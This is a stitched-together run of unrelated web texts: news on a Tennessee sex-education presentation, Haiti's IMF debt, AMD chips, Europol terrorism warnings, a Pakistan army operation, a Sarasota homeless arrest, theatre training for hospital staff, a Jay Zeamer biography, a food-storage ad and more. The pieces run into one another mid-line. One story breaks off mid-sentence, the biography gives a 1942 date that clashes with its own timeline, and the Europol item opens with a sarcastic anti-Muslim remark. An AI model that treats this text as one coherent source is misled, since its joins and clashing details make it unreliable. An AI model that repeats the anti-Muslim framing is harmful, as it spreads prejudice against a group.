Romano, of Vanderbilt's Children's Hospital, noted that most medical textbooks do not discuss when life begins, STDs only make you barren if they are left untreated, and drinking spit and having sex potentially lead to entirely different health issues, according to the Tennessean. (In addition, experts have previously said that it is not fair to compare the “deadly” antibiotic-resistant gonorrhea strain the group referenced to AIDS.)
"Obviously, a curriculum like this employs scare tactics," Romano told local outlet WSMV-TV. "There are things where we'd like to think we can scare them out of doing: drinking and driving, substance use, texting and driving. I think what we've shown is telling teens, 'Here are all the awful things that can happen to you,' doesn't seem to change their behaviors."
However, Wasill disputes the claim that her group used "scare tactics."
“The presentation was not excerpted correctly, it was an hour and half presentation … the local reports were completely inaccurate representations of what we do,” Wasill told The Huffington Post.
On Choices, Decisions, and Options' website, the organization states its purpose is to “provide education for teens and the adults who care about them, regarding the decisions that come along with teen pregnancy.” Wasill said the organization's 90-minute presentations “consist of data from CDC in Atlanta, the National Institute of Health, health textbooks for state of Tennessee” and several other reputable health groups.
Joseph Bass, a communications specialist for Metro Nashville Public Schools, told HuffPost that members of the school's community do not seem to be upset about the presentation.
"Despite the fact that three articles have been written about the organization’s presentation, we have received zero complaints," Bass said.So this is what Obama meant when he stated earlier that helping Haiti would be an investment? According to Thenation.com that is exactly what it is looking like. What is Haiti owed? Haiti’s vulnerability to natural disasters, its food shortages, poverty, deforestation and lack of infrastructure, are not accidental. To say that it is the poorest nation in the Western hemisphere is to miss the point; Haiti was made poor–by France, the United States, Great Britain, other Western powers and by the IMF and the World Bank.
Now, in its attempts to help Haiti, the IMF is pursuing the same kinds of policies that made Haiti a geography of precariousness even before the quake. To great fanfare, the IMF announced a new $100 million loan to Haiti on Thursday. In one crucial way, the loan is a good thing; Haiti is in dire straits and needs a massive cash infusion. But the new loan was made through the IMF’s extended credit facility, to which Haiti already has $165 million in debt. Debt relief activists tell me that these loans came with conditions, including raising prices for electricity, refusing pay increases to all public employees except those making minimum wage and keeping inflation low. They say that the new loans would impose these same conditions. In other words, in the face of this latest tragedy, the IMF is still using crisis and debt as leverage to compel neoliberal reforms.
For Haiti, this is history repeated. As historians have documented, the impoverishment of Haiti began in the earliest decades of its independence, when Haiti’s slaves and free gens de couleur rallied to liberate the country from the French in 1804. But by 1825, Haiti was living under a new kind of bondage–external debt. In order to keep the French and other Western powers from enforcing an embargo, it agreed to pay 150 million francs in reparations to French slave owners (yes, that’s right, freed slaves were forced to compensate their former masters for their liberty). In order to do that, they borrowed millions from French banks and then from the US and Germany. As Alex von Tunzelmann pointed out, “by 1900, it [Haiti] was spending 80 percent of its national budget on repayments.”
It took Haiti 122 years, but in 1947 the nation paid off about 60 percent, or 90 million francs, of this debt (it was able to negotiate a reduction in 1838). In 2003, then-President Aristide called on France to pay restitution for this sum–valued in 2003 dollars at over $21 billion. A few months later, he was ousted in a coup d’etat; he claims he left the country under armed pressure from the US.
Then of course there are the structural adjustment policies imposed by the IMF and World Bank in the 1990s. In 1995, for example, the IMF forced Haiti to cut its rice tariff from 35 percent to 3 percent, leading to a massive increase in rice-dumping, the vast majority of which came from the United States. As a 2008 Jubilee USA report notes, although the country had once been a net exporter of rice, “by 2005, three out of every four plates of rice eaten in Haiti came from the US.” During this period, USAID invested heavily in Haiti, but this “charity” came not in the form of grants to develop Haiti’s agricultural infrastructure, but in direct food aid, furthering Haiti’s dependence on foreign assistance while also funneling money back to US agribusiness.
To read the rest of this story click here.
Side Note: Let the assimilating, I mean civilizing, oops, there I go again I mean help for Haiti begin.If your food storage fare seems a little dull, add a delicious supply of Legacy's freeze-dried chicken to your pantry and ensure your family will get well-rounded nutrition in a disaster. This tender 100% USDA Freeze Dried Chicken Dices is easy to prepare, tastes great in a variety of dishes, and has up to a 10-15 year shelf life. When you buy Legacy's food storage chicken supply, you get a premium emergency food source.
Stock up on high-quality protein with Legacy's freeze-dried chicken supply.
Protein is one of the most important nutrients our bodies need for protecting cells, building muscle, and maintaining balanced diets. In an emergency situation, the importance of protein is magnified as hard work must be done and difficult situations endured. That's why it's vital that we include in our food storage a high-quality protein supply. Legacy Essentials' freeze-dried chicken dices is exactly that. With 22 grams of protein and 100 calories per serving, it adds essential bulk to any food storage supply.
Legacy's freeze-dried chicken is extremely simple to prepare, just add water and soak for five minutes, so it's ideal for adding to other food storage meals or using on hectic weeknights. And because of the freeze-dried process Legacy employs to preserve it, it tastes just as delicious as the day it was packaged. Add chicken to anything you'd like to add a little protein to and get a hearty, balanced meal.
In addition, this hearty meat comes packaged in a lightweight, resealable, heavy-duty Mylar pouches, so you can add it to your food storage supply without having to make a lot of room. Purchase a supply of Legacy's 100% USDA freeze-dried chicken today and know your family will eat well in a disaster.
100% USDA Freeze Dried Chicken Dices Features -This post was contributed by a community member.
On August 18, Malibu Grand Prix Family Entertainment Center, in Redwood City, will close its doors one last time. During its 35 years of operation, Malibu has been a place for guests and employees alike to have fun, make lasting memories, and build lifetime friendships.
The park opened in 1979 under the name Malibu Grand Prix and offered miniature Indy car racing. The park has maintained this original attraction and guests can still drive ¾ scale Indy cars on the Malibu track today. The park will be closing on August 18th –so come enjoy it while it lasts.
Malibu is much more than a racing facility. In addition to having the fastest go-karts and the largest single-racer track in the Bay area, the park offers miniature golf, batting cages, an arcade, and more to entertain guests. Visit Malibu now for the final days to make new memories. From now until the last day of operation on August 18th, guests can take advantage of a special offer to enjoy unlimited attractions; including Miniature Golf, Turbo Go Karts, and Bumper Boats for only $19.99. Visit malibugrandprix.com for more information on this limited time offer.
About Malibu Grand Prix Family Entertainment Center
Malibu is a Family Entertainment Center that offers a wide range attractions and services geared toward family fun. The park features a Grand Prix track, bumper boats, batting cages, miniature golf, turbo go-karts, and a huge arcade full of gaming options. The park has been open since 1979 and will be closing out its final summer season on August 18th, 2013. Malibu is currently owned and operated by Palace Entertainment.
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According to a report from Computerbase.de, AMD is planning to refresh its Brazos line-up with Brazos 2.0 in Q1 2012. Released first in Q1 2011, Brazos was refeshed in Q3 2011. Two more quarters on, Brazos will get another refresh, this time with new branding for both CPU and GPU parts.
According to a report from Computerbase.de, AMD is planning to refresh its Brazos line-up with Brazos 2.0 in Q1 2012. Released first in Q1 2011, Brazos was refeshed in Q3 2011. Two more quarters on, Brazos will get another refresh, this time with new branding for both CPU and GPU parts.
Codenamed Brazos 2.0, the platform will feature updated Zacate APUs. (Ontario/C-Series refresh is not mentioned) The E-450 will be replaced by E2-1800. Fundamentally the same chip, E2-1800 features a slight boost to 1.7 GHz, while the GPU is rebranded as HD 7340 and is clocked higher at 523 MHz and 680 MHz with Turbo. Computerbase also mentions in the possibility of a CPU turbo which will help E2-1800 differentiate itself from E-450. CPU turbo is already available on C-60 which is based on the same chip.
E-300 will be replaced by E1-1200, clocked at 1.4 GHz, up 0.1 GHz from E-300. The HD 6310 GPU will give way to HD 7310 which features an insignificant 12 MHz overclock.
Brazos 2.0 also includes a new mobile chipset – A68M. A68M, codenamed Hudson M3L, cuts down on SATA ports, down to 2 from 6 on A50M – thus saving on power. More than 2 ports are simply unnecessary for sub-notebooks Brazos 2.0 will power. On the other hand, A68M enables RAID 0 and RAID 1. A68M also features native DP support. USB 2.0 ports are cut from 14 to 8 – once again saving power – while the 2 USB 1.1 give way for 2 USB 3.0 ports. Other new features for A68M include APU fan control and SD controller.
Also releasing in Q1 2012 will be the Brazos-T platform designed for tablets. Thanks to a much cut down A55T chipset and a power optimized Hondo APU, the Brazos T platform will feature much lower power consumption than the current Z-01 APU platforms.
Later in 2012, the Brazos 2.0 platform is expected to be replaced by 28nm Wichita and Krishna APUs.
Source: Computerbase.deThe solution? Bring in more Muslim migrants. What could possibly go wrong?
“Terrorist ‘Stockpiling Explosives In Europe,’ Europol Official,” IHLS, May 30, 2016:
Terrorist cells all across the EU are likely stockpiling explosives for future attacks, warned Manuel Navarrete Paniagua, Head of the European Counter Terrorism Center at Europol. The agency has foiled 211 terror plots, according to released statistics, but cautions that the threat of attacks similar in scale to the November 2015 Paris assaults remains not insignificant.
Terrorists are likely collecting “large clandestine stockpiles of explosives,” Paniagua told members of the European Parliament, reports the EUObserver. “We have some information reported by the member states that terrorists groups are trying to establish large clandestine stockpiles of explosives in the European Union to be used eventually in large scale home attacks.”
Europol has identified more than 4,000 foreign fighters, who have been entered into the dedicated tracking database. “Using the terrorist financial tracking program, we provided last year more than 2,700 leads regarding foreign terrorist fighters to the member states,” Paniagua said.
Jihadist terrorism remains a top priority for European security agencies, due to the nature of the threat. Their use of explosives and firearms, and indications of increasingly sophisticated coordination and communication between cells, poses a rapidly evolving threat, Paniagua said.
Paniagua addressed the concerns regarding the flow of jihadist fighters into Europe disguised among refugees.
“We found no evidence of the systematic use of this flow to infiltrate terrorists into the European Union. But they do, they use it, we have some cases, some of the people that perpetrated the Paris attacks were eventually disguised in this immigration flow,” said Paniagua.
To tackle this issue, Europol announced in May that it will be deploying some 200 counter-terrorism officers at refugee centres across Europe, in particular in heavily trafficked countries such as Italy and Greece.RAWALPINDI: Pakistan Army on Thursday said it had initiated ground operations to flush out terrorists from Shawal Valley, North Waziristan, according to a tweet from Major General Asim Bajwa – chief of the army's media wing.
Maj Gen Bajwa said Chief of Army Staff General Raheel Sharif had ordered the achievement of military objectives as soon as possible, and also commended the "ideal ground and air coordination" between the forces.
The announcement comes after the military pounded militant hideouts in Shawal via air force jets for almost a week, taking out dozens of terrorists and destroying ammunition dumps and hideouts.
Read: Blitz in North Waziristan, Khyber kills at least 65'suspected militants'.
Since the terror attack that killed Punjab home minister Shuja Khanzada, the military has carried out multiple aerial strikes in North Waziristan and Khyber Agency.
In today's (Thursday) air raids, forces claimed to have killed 43 suspected militants.
The conflict zone of North Waziristan is off-limits to journalists making it difficult to verify the army's claims, including the number and identity of those killed.
The army says it is conducting the final phase of Operation Zarb-i-Azb to flush out Taliban terrorists from their remaining strongholds along the border with Afghanistan. The grand military operation in the North Waziristan tribal region was launched following a Taliban attack on the Jinnah International Airport in Karachi in June 2014.
A large number of militants fleeing the operation in other parts of North Waziristan are believed to have taken refuge in the thickly-forested Shawal Valley, which is considered to be an Al Qaeda sanctuary.
Also read: Preliminary phase of Shawal operation successful: army.
Shawal has also been the focus of US drone attacks this year with multiple strikes hitting targets in the valley in which dozens of suspected militants were killed.
The army is believed to have killed close to 3,000 terrorists since it began Operation Zarb-i-Azb last year.55User Rating: 5 out of 5
Review title of nicholas
Well done! Very impressive and generous! I've been looking in this store for Atari emulators and could not find alot,except for ones that you had buy to get the most features in the app? But your app stands out from alot from most others in this store,because your app is for sharing the greatest and one of the earliest gaming experiences of home gaming computer/consoles! And your app haves games already installed,which saves the hassle for looking for roms! And what also stands out from the rest of devs on this store is your app...looks to be totally free? 5 stars hands down!!! 😊 Outstanding and thank you for making a generous app and it brings back of alot of early childhood memories back to me! Thank you again 😊!!! Would give more stars if I could?...Oh,heck! I give another 5 stars to this app and that totals 10 stars! Only if they would let me give more stars?! I hope you can add virtual controls on the screen,soon?Amid hi-tech machines, a blood-smeared body lies on a hospital bed with what looks like a bullethole in its side. It’s a mannequin, but one that sweats, breathes and bleeds. The room feels like the sort of eerily accurate A&E ward you might stray into at a Punchdrunk immersive theatre performance. But this is not a scene set for an audience. Instead, it’s part of a new £500,000 project at St Thomas’ hospital in Londonto train doctors, nurses and paramedics in physical theatre.
Performing Medicine is led by director Suzy Willson and her company Clod Ensemble. She has been working with medical students for a number of years, but this project – funded by Guy’s and St Thomas’ Charity – is the first to be embedded in a real hospital, working with frontline staff. Performers will work with the Simulation and Interactive Learning Centre (SaIL) at St Thomas’, which allows doctors, nurses and paramedics to experience emergencies before they have to attend them for real.
“It’s sometimes quite hard to get doctors to realise there’s an art to medicine,” says the centre’s Dr Peter Jaye. “Because to some extent it’s been pummelled out by science.”
Walking into SaIL, you immediately find yourself in a theatre of sorts. The hospital already uses sets and actors to train staff. Now, Performing Medicine will teach body language and communication skills through clowning, mime, and dance techniques. Willson will teach “the neutral mask”, a technique for getting actors to notice their own physical habits that she learned at the Lecoq theatre school in Paris. They’ll also work with touch – important for staff who have such an intimate relationship with patients, and improvisation – an overlooked skill in medicine, says Willson.
“Arts can offer a more lateral way of thinking,” she says. “There’s been a lot of research in medical humanities about people’s tolerance for ambiguity, and medical students have a very low tolerance for ambiguity. They’re so scared that they’ll get the wrong answer, they freeze.” The training will allow medical staff to step out of what Willson calls a “macho, competitive culture” on wards.
“Medical training is fairly regimental,” says Jaye. “I came out of medical school thinking I’d be able to diagnose everybody I saw with a condition that I could treat. That turns out not to be the case.”
For Jaye, the most important thing to impart in training is compassion – a key NHS buzzword after the fallout from the Mid Staffordshire hospital scandal. “There’s no doubt that healthcare may have lost its way with compassion as we’ve pursued this medicalised model of care,” he says. “I’m really frustrated by the way we’re reducing people to targets.”
Dress rehearsal … staff at the Simulation and Interactive Learning Centre at St Thomas’ hospital in London
Anne Marie Rafferty is professor of nursing policy at Florence Nightingale Faculty of Nursing and Midwifery at King’s College London, which will be involved with Performing Medicine. She says dance could help nursing staff create a better environment for patients. “Someone said to me once, 60% of our communication is non-verbal, so being aware of your physical presence, how you move and carry yourself and the energy you give out can set the tone in a ward.” For the patients, says Rafferty, “It’s about how safe you feel. If you walk into a ward and there’s a calm hum and people are smiling, there’s a lightness, as opposed to people running around like headless chickens.”
There is a growing body of evidence that artistic interventions can be beneficial for patients. Choreographer Joe Moran runs the Dance Art Foundation, which is currently touring hospitals. The dancers perform in public hospital spaces – foyers, coffee shops, waiting rooms – and in wards, often to people who have never seen contemporary dance before. “I feel like the hospital is a new frontier in performance,” Moran says.
If watching dance can be beneficial for patients, it’s also rewarding for the artists, says Moran. “We’ve had some very experienced dancers who’ve said this has been the most powerful performance experience they’ve ever had,” he says.
The close proximity of the audience, their lack of expectations and, most poignantly, performing in a place where people are acutely aware of their own bodies, adds up to something profound. Hospitals are often places of extreme emotion and distress. “I think the weight of that informs the nature of the encounter and the sense of meaning of the work.” Although Moran admits he has to be careful about those meanings taking on unplanned significance. In a hospital setting, a piece of Moran’s titled All Clear suddenly became loaded with significance, while a score with a single metronome sounded like a life-support machine. For doctors and nurses, Dr Jaye says the most important thing theatre and dance techniques can impart in training is humanity. “You’re present at the worst moments in people’s lives,” says Jaye, and doctors insulate themselves from those emotions in a way that can be detrimental to their own mental health. “I was taught to build a box around myself to protect myself. I built it really strong, out of concrete,” he says, which cut off his empathy with patients as well as his own emotions. “We’re not compassionate with ourselves, and it’s imperative that we start dealing with that.”
• Dance Art Foundation perform at St Thomas’ hospital, London, on 3 November, then touring.
More dance coverage
See the Music, Hear the Dance review – Adès provides exhilarating inspiration
‘A new language’: Akram Khan and Israel Galván’s Torobaka – in pictures
Le Patin Libre five-star review – skating dancers are a breath of fresh iceWigged out: why ballet’s bad hair day is ruining the show
Mark Morris review – joyful fluency from New York
Cassandra review – curiously hollow new balletA judge threw out the charges, but the man spent a night in jail after Sarasota Police arrested him on utility theft charges for using an outlet at Gillespie Park.
A homeless man spent the night in jail Sunday after police arrested him for charging his cellphone in a public picnic shelter at Gillespie Park.
Darren Kersey, 28, was charged with theft of utilities after Sarasota Police Sgt. Anthony Frangioni spotted him charging his phone at about 9:20 p.m. Sunday. Unable to come up with the $500 bail for the misdemeanor, Kersey had no choice but to stay in jail.
In his arrest report, Frangioni wrote that he told Kersey that the “theft of city utilities will not be tolerated during this bad economy.” Frangioni also told Kersey that he should charge his phone at local shelters, according to the report.
But Monday morning Circuit Judge Charles Williams threw the case out, saying Frangioni lacked the legal justification to make the arrest.
Frangioni, a 14-year veteran of the Sarasota Police Department, did not return calls or emails seeking comment for this story. Neither did City Manager Thomas Barwin.
Police spokesman Capt. Paul Sutton said Chief Mikel Hollaway, who was off Monday, will be reviewing the case today. Following the review the department is expected to issue a statement, Sutton said.
The arrest threatens to add to a rolling battle between Sarasota and the American Civil Liberties Union, which have clashed over various homeless issues.
Last spring, the ACLU accused police of violating the civil rights of more than 6,500 people over four years by using trespassing warnings to shoo people off downtown sidewalks. After a lawsuit was filed, the city suspended its program and is in the process of rewriting portions of its trespass ordinance.
The interaction between police and the homeless is the top priority for the local ACLU, said Michael Barfield, who heads the legal panel for the organization’s Sarasota chapter.
“We have been monitoring the efforts to root the homeless out of the parks, and have several actions planned against the city,” Barfield said. “So much happens on a daily basis, it’s hard to keep up with it. Every day there’s something new.”
The city’s policies toward the homeless have garnered unwanted attention through the years. In 2006, Sarasota was called the “meanest city” in the nation by the National Law Center on Homelessness and Poverty and the National Coalition for the Homeless, but eventually disappeared from the organizations’ lists.
It is not difficult for homeless advocates to point out that people with money are treated differently by city officials: for those able to afford an electric car, Sarasota offers free electrical power at vehicle charging stations throughout the city, including one at City Hall.
Gillespie Park is a quiet reserve in the 700 block of N. Osprey Avenue. It has a small pond, ducks, playground equipment, several picnic shelters and a police substation that is not always staffed.
There were eight homeless people in the park Monday morning, including two charging phones in the same picnic shelter where Kersey was arrested hours earlier.
They say Kersey’s arrest is just another example of the scrutiny from police that they face each day because they have nowhere else to go.
Maura “Cookie” Wood relies on the outlets to charge her electric wheelchair. She competes with others because the outlets are in use throughout most of the day. Wood said she is not worried that it may lead to her arrest.
“I hope they do,” she said.
Wood, 42, suffered a debilitating stroke and cannot walk more than 20 feet. Her speech is slurred. She lives |
war, he became an aeronautical engineer and worked in the aerospace industry.
Early life [ edit ]
Born in Carlisle, Pennsylvania, Zeamer grew up in Orange, New Jersey, the son of a women's club leader and sales representative for (later vice-president of) a global leather exporter.[1][2] He spent many summers at Boothbay Harbor, Maine, where he enjoyed rowing a homemade boat in the harbor.
Zeamer became an Eagle Scout at the age of fourteen.[3] (He is one of only nine known Eagle Scouts who also received the Medal of Honor. The others are Aquilla J. Dyess, Robert Edward Femoyer, Eugene B. Fluckey, Thomas R. Norris, Arlo L. Olson, Mitchell Paige, Benjamin L. Salomon, and Leo K. Thorsness.) After a freshman year of high school in Orange, he was enrolled by his father in Culver Military Academy in Culver, Indiana, where he completed the Senior Infantry Reserve Officers Training Corps course.[4] Winning honors in marksmanship each year he was there, he served in the Culver Rifles Color Guard his last two years.[5] After completing Advanced Camp for the Reserve Officers Training Corps, he was given a certificate in lieu of a commission in the Infantry Officer Reserves Corps for which he could apply upon his twenty-first birthday.
He attended a year of junior college at Culver after graduation, taking on a more rigorous curriculum and attending summer school, allowing him to enter the Massachusetts Institute of Technology (M.I.T.) as a second-year student.[6] In August 1939, after turning twenty-one in July, he received his infantry commission, becoming a second lieutenant in the Army Reserve, assigned to the 312th Infantry, 78th Division.,[7][8]
Interested in aviation since childhood, in 1938 Zeamer had joined the M.I.T. flying club based in nearby Norwood. Within a year he was licensed himself with a hundred solo hours in his logbook; he also served as manager of the club. In October 1939, Zeamer applied for the Army Air Corps flight training program and was accepted in December.[9] His entrance to the program was deferred until after his graduation from M.I.T. in June 1940 with a B.S. in civil engineering, specializing in structural engineering. Zeamer began elementary flight school training as a flying cadet in the Chicago School of Aeronautics, Glenview, Illinois, where his leadership skills earned him the position of Captain of Cadets of Class 41-B.
Military service [ edit ]
USAAF [ edit ]
In March 1941, he received his wings and a commission in the U.S. Army Air Corps after graduating from basic and advanced flight school at Maxwell Field, Alabama. Initially assigned to the 96th Bombardment Squadron of the 2nd Bombardment Group as assistant engineering officer, Zeamer was transferred to the 63rd Bombardment Squadron, 43rd Bombardment Group, where he served as squadron executive officer. It was there that he first met his future bombardier, Joseph Sarnoski. Sometime during the summer, Zeamer and "all the rest of the second lieutenants" were sent to Patterson Field in Dayton, Ohio, for assisting with the service testing of the new B-26 Marauder by the 22nd Bombardment Group. Following his return to Langley, Zeamer was assigned to the group's 19th Bombardment Squadron as a co-pilot. On December 8, 1941, the 22nd was transferred from Langley to California to fly anti-submarine patrols and reconnaissance off the west coast of the United States. In March 1942, the 22nd BG was deployed to Australia, where Zeamer flew his first combat mission as a B-26 co-pilot on April 6, 1942. He was promoted to first lieutenant that same month. Still, due to issues of reaction time and aggressiveness on the controls, Zeamer had never checked out as first pilot in the B-26.
With the arrival of his old group, the 43rd, in Australia flying the new "F" model Boeing B-17 Flying Fortress in August 1942, Zeamer sought and obtained a transfer from the 22nd to the 43rd. He reported for duty with the 403rd Bombardment Squadron in Torrens Creek, Australia, on September 22, reuniting with his gunnery trainer and friend from the previous summer, Joe Sarnoski.[10] Lacking any experience in the B-17, Zeamer had to scrounge for flights at first as a self-described "squadron errand boy" before gaining combat experience in October as a substitute copilot and even navigator.[11] Despite having not yet been checked out as first pilot in the B-17, Zeamer flew his first mission as pilot-in-command on November 20, a photoreconnaissance of Simpson Harbor at Rabaul, New Britain. He was awarded the Silver Star for the mission, which also served as his transition to first pilot.
Around the end of 1942, Zeamer began putting together his own crew, beginning with Sarnoski and squadron navigator Charles "Rocky" Stone. Popular accounts of the crew and its formation refer to them as "screw-offs," "renegades," and "misfits," but are not borne out by the actual record and are either fiction or gross exaggeration. In time they began calling themselves the "Eager Beavers" for Zeamer's constant volunteering for missions as they came available. An early incarnation of the crew was awarded Air Medals for the sinking of a merchant vessel at Rabaul on January 17, 1943. The bombing of Milne Bay that same day, as well as significant personnel losses to malaria and dengue fever, led to the 403rd being returned to Australia soon after for recuperation. Almost two months of non-combat followed, prompting another transfer for Zeamer, this time into the 65th Bomb Squadron of the 43rd BG, based in Port Moresby, New Guinea, in late March 1943. He was promoted to captain in early April, as well as made squadron operations officer. On April 12 the Eager Beavers flew a mission to Rabaul for which he was awarded the Oak Leaf Cluster (Silver Star).
In May 1942, Zeamer was made squadron executive officer, and took up the upgrading of a B-17E, #41-2666, recently acquired from the 8th Photographic Reconnaissance Squadron, for photographic mapping purposes. The aircraft was one of the few in the theater equipped with the trimetrogon camera system, which allowed the creation of photo mosaics for generating maps. The crew replaced the engines, stripped the plane of extra weight, and augmented it with several additional guns, including dual.50 caliber M2 Brownings in both the radio compartment and both waist positions, and a fixed.50 in the nose for Zeamer to fire himself from the control column. Contemporary accounts including the 65th BS morning report for that day as well as Zeamer's own flight log record it as having sixteen guns total. The aircraft came to be known by the crew as "'666," or popularly as "Old 666."[12]
Medal of Honor [ edit ]
Medal of Honor citation The President of the United States in the name of The Congress takes pleasure in presenting the Medal of Honor to: ZEAMER, JAY JR. (Air Mission) Rank and organization: Major, U.S. Army Air Corps. Place and date: Over Buka area, Solomon Islands, June 16, 1943. Entered service at: Machias, Maine. Birth: Carlisle, Pa. G.O. No.: 1, January 4, 1944. Citation: On 16 June 1943, Major Zeamer (then Captain) volunteered as pilot of a bomber on an very important photographic mapping mission covering the formidably defended area in the vicinity of Buka, Solomon Islands. While photographing the Buka airdrome. his crew observed about 20 enemy fighters on the field, many of them taking off. Despite the certainty of a dangerous attack by this strong force, Major Zeamer proceeded with his mapping run, even after the enemy attack began. In the ensuing engagement, Major Zeamer sustained gunshot wounds in both arms and legs, one leg being broken. Despite his injuries, he maneuvered the damaged plane so skillfully that his gunners were able to fight off the enemy during a running fight which lasted 40 minutes. The crew destroyed at least 5 hostile planes, of which Major Zeamer himself shot down one. Although weak from loss of blood, he refused medical aid until the enemy had broken combat. He then turned over the controls, but continued to exercise command despite lapses into unconsciousness, and directed the flight to a base 580 miles away. In this voluntary action, Major Zeamer, with superb skill, resolution, and courage, accomplished a mission of great value.
In April 1943, Zeamer and the crew had been approached about a solo, 1,200-mile (1,900 km) round-trip photo-mapping mission of the western coast of Bougainville, with emphasis on Empress Augusta Bay where any marine landings would be made. Such maps were considered vital to a future invasion of the island in support of coalescing plans for the reduction of Rabaul. It was presented as a volunteer mission because extended mapping runs would require straight and level flight runs of up to 22 minutes deep in hostile territory.
The necessary weather for such a run proved elusive for two months, until mid-June. When the 8th PRS was unable to get the necessary photos on June 15, Zeamer was contacted again. At 4 a.m. the next morning, 16 June 1943, after intense preparations the day before, the crew headed for Bougainville. Twice already, once the night before and once as the aircraft was taxiing for take-off, they were ordered by V Bomber Command to do a photo recon of the Japanese airstrip on Buka, a small island off the northern tip of Bougainville. Zeamer rejected the idea both times as too dangerous, almost guaranteeing interception by enemy fighters while in sustained level flight for the mapping.
Arriving too early at Bougainville to start the mapping, Zeamer put the question of whether to pass the time over the ocean or go the Buka recon to the crew. Voting for the recon, Zeamer flew northeast in a loop to come back over Buka on their way into the mapping run. Photos taken that day reportedly showed twenty-one Japanese fighters taxiing or taking off to intercept. With approximately a minute left in the mapping run, "Old 666" faced a coordinated attack by eight A6M3 Model 22 Zero fighters from 251 Kōkūtai, as well as an unidentified twin-engined fighter. The ensuing attack mortally wounded bombardier Sarnoski, who struggled back to his gun to drive off a second Zero after being blown from his position by a 20 mm cannon shell from the first. Another of a total of four 20 mm shells destroyed the pilot's side of the instrument panel and broke Zeamer's left leg above and below the knee and leaving a large hole in his left thigh. He was also hit by shrapnel in both arms and his right leg, with a gash in his right wrist. Three others were also wounded, including the navigator and top turret gunner, who responded to a resulting oxygen fire by putting it out with their bare hands.
Due to the loss of oxygen and to escape their attackers, Zeamer dived the plane violently from 25,000 feet (7,600 m) to approximately 10,000 feet (3,000 m), estimating the altitude by an increase in engine manifold pressure. The Japanese followed them down and commenced a forty-minute series of passes at the nose of the B-17. Despite his wounds, Zeamer avoided any further extensive damage to the B-17 by repeatedly turning into the oncoming fighters just inside the trajectory of their fixed fire, a technique he learned while in the 22nd BG. By doing so, the Zeros would continue rolling into the Fortress without hitting it, but exposing themselves to the rear guns of the B-17. Eventually, all of the Zeros broke off due either to damage, lack of ammunition, or lack of fuel.
After the engagement, an assessment revealed that the B-17's oxygen and hydraulic systems were destroyed, as well as all of the pilot's flight instruments. The magnetic compass and engine instruments on the copilot's side were undamaged, as were all four engines. Too wounded to move and unwilling to give up command of the plane, Zeamer advised the top turret gunner as he took over copiloting duties, allowing the unwounded copilot to attend to the wounded. The lack of oxygen, in addition to Zeamer's and the navigator's injuries, meant a return to Port Moresby over the Owen Stanley Mountains was impossible. Instead, they made an emergency landing at an Allied fighter airstrip at Dobodura, New Guinea. Without operable brakes or flaps because of the destroyed hydraulic system, the B-17 was ground-looped without incident by the co-pilot. The casualties were one killed (Sarnoski) and four wounded. Zeamer was initially thought dead from loss of blood, but was treated with the other injured crew members by the 10th Field Ambulance of the Royal Australian Army Medical Corps before being transported back to Port Moresby the next day.
Colonel Merian C. Cooper, chief of staff to the deputy commander of the Fifth Air Force, Major General Ennis Whitehead, recommended Zeamer be awarded the Medal of Honor, to which Fifth Air Force commander General George Kenney concurred. Zeamer received the award from Chief of the Army Air Forces General Henry H. Arnold on January 16, 1944, at the Pentagon.
Sarnoski was also awarded the Medal of Honor, marking only the third time in U.S. history that two members of the same crew received the Medal of Honor for a single mission. (The others were Robert G. Robinson and Ralph Talbot in World War I, and Addison Baker and John L. Jerstad just two months after Zeamer's Medal of Honor action during the Allied raids on oil refineries in Ploieşti, Romania.) All other members of Zeamer's crew received the Distinguished Service Cross. It remains the most highly decorated single air mission, and Zeamer's regular crew the most highly decorated, in American history.
Promotions and discharge [ edit ]
Zeamer was promoted to major on July 8, 1943, and lieutenant colonel in April 1944. He spent 15 months in recovery, regaining most of the use of his left leg, and returned to active duty at Mitchel Field, New York as a Tactical Field Air Inspector. On January 18, 1945, Zeamer retired from the USAAF on disability.
Later life [ edit ]
He returned to MIT and obtained a master's degree in aeronautical engineering in 1946. Zeamer then worked for a series of aerospace companies: Pratt & Whitney in East Hartford, Connecticut, followed by Hughes Aircraft in Los Angeles, California, and finally Raytheon in Bedford, Massachusetts. Zeamer moved to Boothbay Harbor, Maine, in 1968, where he enjoyed rowing in the harbor, as he had done in his childhood. He retired in 1975.
Zeamer married in 1949, and with his wife Barbara raised five daughters: Marcia, Jacque, Jayne, Susan, and Sandra. Barbara Zeamer stated that he rarely talked about his wartime experiences or the medal. "I think he didn't feel he deserved it. He was so close to his bombardier [Sarnoski] and he felt terrible about his being killed."
Zeamer died in a nursing home at age 88. At the time of his death, he was the last living Medal of Honor recipient of the Army Air Forces.[13] Zeamer's funeral was held on May 11, 2007, with a burial at Arlington National Cemetery. The governor of Maine, John Baldacci, ordered that flags in the state be flown at half-staff on the day of the funeral.
Awards and decorations [ edit ]
Gen. "Hap" Arnold presenting the Medal of Honor to Zeamer as his parents look on
Army Presidential Unit Citation
Legacy [ edit ]
Zeamer's Medal of Honor mission was featured on The History Channel[14] and in Martin Caidin's article "Mission Over Buka," published in the February 1956 edition of Argosy magazine. Caidin adapted the article for the first chapter of his 1968 book Flying Forts: The B-17 in WWII.[15]
There was a "Lt Col Jay Zeamer Squadron" in the Arnold Air Society under Massachusetts Institute of Technology's AFROTC program, but the Arnold Air Society has been derecognized by M.I.T.
The 43d Airlift Wing's headquarters building on Pope Air Force Base was named in Zeamer's honor in October 2008.[16] Since 2011, the building has been the headquarters of the 43d Airlift Group.
In 2011, Zeamer was selected as the exemplar of the Class of 2014 at the United States Air Force Academy. His name is now worn on the left sleeve of that class's athletic jacket uniforms.
See also [ edit ]
Notes [ edit ]DANE, Wis. — Bernie Sanders and Donald Trump are barnstorming Wisconsin with at least one promise in common: By taking apart trade deals and imposing tariffs, they will bring back the highly paid blue-collar jobs of the industrial past.
But many economists say that’s little more than an appealing fantasy. And the reasons are on display at this small metal fabrication shop tucked into rural Wisconsin farm country.
Story Continued Below
Dane Manufacturing offers a mini-trip through labor market history. At one end, partially automated machines stamp out metal parts with the help of several workers. At the other end, a giant, laser-guided robot silently cranks out products with virtually no human intervention. Before long, more of Dane’s machines will be fully automated.
So executives at Dane think Trump and Sanders have it all wrong on manufacturing. Many, if not all, of the low-skilled, assembly-line jobs the two leading populist candidates talk about bringing back are gone for good, they say, a view shared by many trade economists.
But the picture is not as grim as Sanders and Trump make it seem. There are still many manufacturing openings — 13,000 across Wisconsin — for workers with slightly higher levels of technical skill or who are willing to learn how to operate newly automated factories and move short distances for new openings.
